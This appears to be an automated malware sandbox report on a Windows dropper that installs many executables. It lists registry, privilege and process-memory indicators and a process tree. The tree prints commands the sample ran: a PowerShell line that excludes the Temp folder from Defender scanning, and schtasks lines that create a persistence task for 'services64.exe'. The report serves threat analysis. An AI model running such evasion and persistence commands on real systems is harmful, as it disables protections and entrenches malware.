Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	installer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	installer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	installer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Tue112c483dd3245d.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800001900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa20f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349040000000100000010000000497904b0eb8719ac47b0bc11519b74d0200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Tue112c483dd3245d.exe

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	78	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	191	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4308	powershell.exe
4308	powershell.exe
4436	Tue11bc0507b56295.exe
4436	Tue11bc0507b56295.exe
4308	powershell.exe
4308	powershell.exe
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
4236	Vizhokaqyca.exe
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
5204	rundll32.exe
5204	rundll32.exe
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2108	Process not Found

Suspicious behavior: MapViewOfSection 9 IoCs

pid	Process
4436	Tue11bc0507b56295.exe
5268	MicrosoftEdgeCP.exe
5268	MicrosoftEdgeCP.exe
5268	MicrosoftEdgeCP.exe
5268	MicrosoftEdgeCP.exe
2232	MicrosoftEdgeCP.exe
1276	MicrosoftEdgeCP.exe
1276	MicrosoftEdgeCP.exe
9984	ueafdjg

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
4260	7364241.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4380	WerFault.exe
Token: SeCreateTokenPrivilege	4560	Tue118f55232e4.exe
Token: SeAssignPrimaryTokenPrivilege	4560	Tue118f55232e4.exe
Token: SeLockMemoryPrivilege	4560	Tue118f55232e4.exe
Token: SeIncreaseQuotaPrivilege	4560	Tue118f55232e4.exe
Token: SeMachineAccountPrivilege	4560	Tue118f55232e4.exe
Token: SeTcbPrivilege	4560	Tue118f55232e4.exe
Token: SeSecurityPrivilege	4560	Tue118f55232e4.exe
Token: SeTakeOwnershipPrivilege	4560	Tue118f55232e4.exe
Token: SeLoadDriverPrivilege	4560	Tue118f55232e4.exe
Token: SeSystemProfilePrivilege	4560	Tue118f55232e4.exe
Token: SeSystemtimePrivilege	4560	Tue118f55232e4.exe
Token: SeProfSingleProcessPrivilege	4560	Tue118f55232e4.exe
Token: SeIncBasePriorityPrivilege	4560	Tue118f55232e4.exe
Token: SeCreatePagefilePrivilege	4560	Tue118f55232e4.exe
Token: SeCreatePermanentPrivilege	4560	Tue118f55232e4.exe
Token: SeBackupPrivilege	4560	Tue118f55232e4.exe
Token: SeRestorePrivilege	4560	Tue118f55232e4.exe
Token: SeShutdownPrivilege	4560	Tue118f55232e4.exe
Token: SeDebugPrivilege	4560	Tue118f55232e4.exe
Token: SeAuditPrivilege	4560	Tue118f55232e4.exe
Token: SeSystemEnvironmentPrivilege	4560	Tue118f55232e4.exe
Token: SeChangeNotifyPrivilege	4560	Tue118f55232e4.exe
Token: SeRemoteShutdownPrivilege	4560	Tue118f55232e4.exe
Token: SeUndockPrivilege	4560	Tue118f55232e4.exe
Token: SeSyncAgentPrivilege	4560	Tue118f55232e4.exe
Token: SeEnableDelegationPrivilege	4560	Tue118f55232e4.exe
Token: SeManageVolumePrivilege	4560	Tue118f55232e4.exe
Token: SeImpersonatePrivilege	4560	Tue118f55232e4.exe
Token: SeCreateGlobalPrivilege	4560	Tue118f55232e4.exe
Token: 31	4560	Tue118f55232e4.exe
Token: 32	4560	Tue118f55232e4.exe
Token: 33	4560	Tue118f55232e4.exe
Token: 34	4560	Tue118f55232e4.exe
Token: 35	4560	Tue118f55232e4.exe
Token: SeDebugPrivilege	4308	powershell.exe
Token: SeDebugPrivilege	4504	Tue11141271fbe5877f.exe
Token: SeDebugPrivilege	5080	8391584.exe
Token: SeDebugPrivilege	1600	2.exe
Token: SeDebugPrivilege	3852	PublicDwlBrowser1100.exe
Token: SeShutdownPrivilege	2108	Process not Found
Token: SeCreatePagefilePrivilege	2108	Process not Found
Token: SeShutdownPrivilege	2108	Process not Found
Token: SeCreatePagefilePrivilege	2108	Process not Found
Token: SeShutdownPrivilege	2108	Process not Found
Token: SeCreatePagefilePrivilege	2108	Process not Found
Token: SeShutdownPrivilege	2108	Process not Found
Token: SeCreatePagefilePrivilege	2108	Process not Found
Token: SeDebugPrivilege	4432	BearVpn 3.exe
Token: SeShutdownPrivilege	2108	Process not Found
Token: SeCreatePagefilePrivilege	2108	Process not Found
Token: SeRestorePrivilege	4236	Vizhokaqyca.exe
Token: SeBackupPrivilege	4236	Vizhokaqyca.exe
Token: SeShutdownPrivilege	2108	Process not Found
Token: SeCreatePagefilePrivilege	2108	Process not Found
Token: SeShutdownPrivilege	2108	Process not Found
Token: SeCreatePagefilePrivilege	2108	Process not Found
Token: SeShutdownPrivilege	2108	Process not Found
Token: SeCreatePagefilePrivilege	2108	Process not Found
Token: SeShutdownPrivilege	2108	Process not Found
Token: SeCreatePagefilePrivilege	2108	Process not Found
Token: SeShutdownPrivilege	2108	Process not Found
Token: SeCreatePagefilePrivilege	2108	Process not Found
Token: SeDebugPrivilege	4236	Vizhokaqyca.exe

Suspicious use of FindShellTrayWindow 9 IoCs

pid	Process
5232	setup_2.tmp
5192	ultramediaburner.tmp
7036	installer.exe
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found
2108	Process not Found

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2108	Process not Found
6976	MicrosoftEdge.exe
6580	cmd.exe
7916	MicrosoftEdgeCP.exe
7524	MicrosoftEdge.exe
5268	MicrosoftEdgeCP.exe
5268	MicrosoftEdgeCP.exe
6828	MicrosoftEdge.exe
2232	MicrosoftEdgeCP.exe
2232	MicrosoftEdgeCP.exe
8924	MicrosoftEdge.exe
1276	MicrosoftEdgeCP.exe
1276	MicrosoftEdgeCP.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
2108	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 8 wrote to memory of 1352	8	setup_x86_x64_install.exe	82
PID 8 wrote to memory of 1352	8	setup_x86_x64_install.exe	82
PID 8 wrote to memory of 1352	8	setup_x86_x64_install.exe	82
PID 1352 wrote to memory of 3864	1352	setup_installer.exe	83
PID 1352 wrote to memory of 3864	1352	setup_installer.exe	83
PID 1352 wrote to memory of 3864	1352	setup_installer.exe	83
PID 3864 wrote to memory of 4108	3864	setup_install.exe	86
PID 3864 wrote to memory of 4108	3864	setup_install.exe	86
PID 3864 wrote to memory of 4108	3864	setup_install.exe	86
PID 3864 wrote to memory of 4120	3864	setup_install.exe	87
PID 3864 wrote to memory of 4120	3864	setup_install.exe	87
PID 3864 wrote to memory of 4120	3864	setup_install.exe	87
PID 3864 wrote to memory of 4148	3864	setup_install.exe	88
PID 3864 wrote to memory of 4148	3864	setup_install.exe	88
PID 3864 wrote to memory of 4148	3864	setup_install.exe	88
PID 3864 wrote to memory of 4168	3864	setup_install.exe	89
PID 3864 wrote to memory of 4168	3864	setup_install.exe	89
PID 3864 wrote to memory of 4168	3864	setup_install.exe	89
PID 3864 wrote to memory of 4192	3864	setup_install.exe	90
PID 3864 wrote to memory of 4192	3864	setup_install.exe	90
PID 3864 wrote to memory of 4192	3864	setup_install.exe	90
PID 3864 wrote to memory of 4208	3864	setup_install.exe	91
PID 3864 wrote to memory of 4208	3864	setup_install.exe	91
PID 3864 wrote to memory of 4208	3864	setup_install.exe	91
PID 3864 wrote to memory of 4228	3864	setup_install.exe	106
PID 3864 wrote to memory of 4228	3864	setup_install.exe	106
PID 3864 wrote to memory of 4228	3864	setup_install.exe	106
PID 3864 wrote to memory of 4248	3864	setup_install.exe	105
PID 3864 wrote to memory of 4248	3864	setup_install.exe	105
PID 3864 wrote to memory of 4248	3864	setup_install.exe	105
PID 4148 wrote to memory of 4264	4148	cmd.exe	104
PID 4148 wrote to memory of 4264	4148	cmd.exe	104
PID 4148 wrote to memory of 4264	4148	cmd.exe	104
PID 3864 wrote to memory of 4280	3864	setup_install.exe	103
PID 3864 wrote to memory of 4280	3864	setup_install.exe	103
PID 3864 wrote to memory of 4280	3864	setup_install.exe	103
PID 4120 wrote to memory of 4292	4120	cmd.exe	92
PID 4120 wrote to memory of 4292	4120	cmd.exe	92
PID 4120 wrote to memory of 4292	4120	cmd.exe	92
PID 3864 wrote to memory of 4320	3864	setup_install.exe	101
PID 3864 wrote to memory of 4320	3864	setup_install.exe	101
PID 3864 wrote to memory of 4320	3864	setup_install.exe	101
PID 4108 wrote to memory of 4308	4108	cmd.exe	102
PID 4108 wrote to memory of 4308	4108	cmd.exe	102
PID 4108 wrote to memory of 4308	4108	cmd.exe	102
PID 4168 wrote to memory of 4380	4168	cmd.exe	100
PID 4168 wrote to memory of 4380	4168	cmd.exe	100
PID 4192 wrote to memory of 4412	4192	cmd.exe	99
PID 4192 wrote to memory of 4412	4192	cmd.exe	99
PID 4192 wrote to memory of 4412	4192	cmd.exe	99
PID 4208 wrote to memory of 4436	4208	cmd.exe	93
PID 4208 wrote to memory of 4436	4208	cmd.exe	93
PID 4208 wrote to memory of 4436	4208	cmd.exe	93
PID 4228 wrote to memory of 4488	4228	cmd.exe	94
PID 4228 wrote to memory of 4488	4228	cmd.exe	94
PID 4228 wrote to memory of 4488	4228	cmd.exe	94
PID 4248 wrote to memory of 4504	4248	cmd.exe	98
PID 4248 wrote to memory of 4504	4248	cmd.exe	98
PID 4320 wrote to memory of 4512	4320	cmd.exe	97
PID 4320 wrote to memory of 4512	4320	cmd.exe	97
PID 4320 wrote to memory of 4512	4320	cmd.exe	97
PID 4264 wrote to memory of 4536	4264	Tue11b9d76a96506.exe	96
PID 4264 wrote to memory of 4536	4264	Tue11b9d76a96506.exe	96
PID 4264 wrote to memory of 4536	4264	Tue11b9d76a96506.exe	96

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1228

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1324

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2664

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2656

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2612

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2396

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2388

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1880

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1400

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1100

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:988
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:5724
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:8008
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:5580
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:5316
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:5312
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:7096
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:5800
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:7992
- C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
  2⤵
  PID:9920
- C:\Users\Admin\AppData\Roaming\ueafdjg
  C:\Users\Admin\AppData\Roaming\ueafdjg
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:9984

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:68

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:8
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1352
- - C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:3864
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4108
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4308
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4120
    - - C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11d7385a978cc.exe
        
        Tue11d7385a978cc.exe
        5⤵
        Executes dropped EXE
        
        PID:4292
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4148
    - - C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11b9d76a96506.exe
        
        Tue11b9d76a96506.exe
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4264
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4168
    - - C:\Users\Admin\AppData\Local\Temp\7zS8451A4E3\Tue11f251db82fb7b.exe
        
        Tue11f251db82fb7b.exe
        5⤵
        Executes dropped EXE
        
        PID:4380
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        
        PID:5012
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3852
        
        C:\Users\Admin\AppData\Roaming\7364241.exe
        
        "C:\Users\Admin\AppData\Roaming\7364241.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: SetClipboardViewer
        
        PID:4260
        
        C:\Users\Admin\AppData\Roaming\5383427.exe
        
        "C:\Users\Admin\AppData\Roaming\5383427.exe"
        8⤵
        Executes dropped EXE
        
        PID:5280
        
        C:\Users\Admin\AppData\Roaming\3003059.exe
        
        "C:\Users\Admin\AppData\Roaming\3003059.exe"
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5988
        
        C:\Users\Admin\AppData\Roaming\5986863.exe
        
        "C:\Users\Admin\AppData\Roaming\5986863.exe"
        8⤵
        Executes dropped EXE
        
        PID:4764
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        
        PID:4356
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:5028
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:4300
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:6076
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:528
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:7228
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:7924
        
        C:\Windows\explorer.exe
        
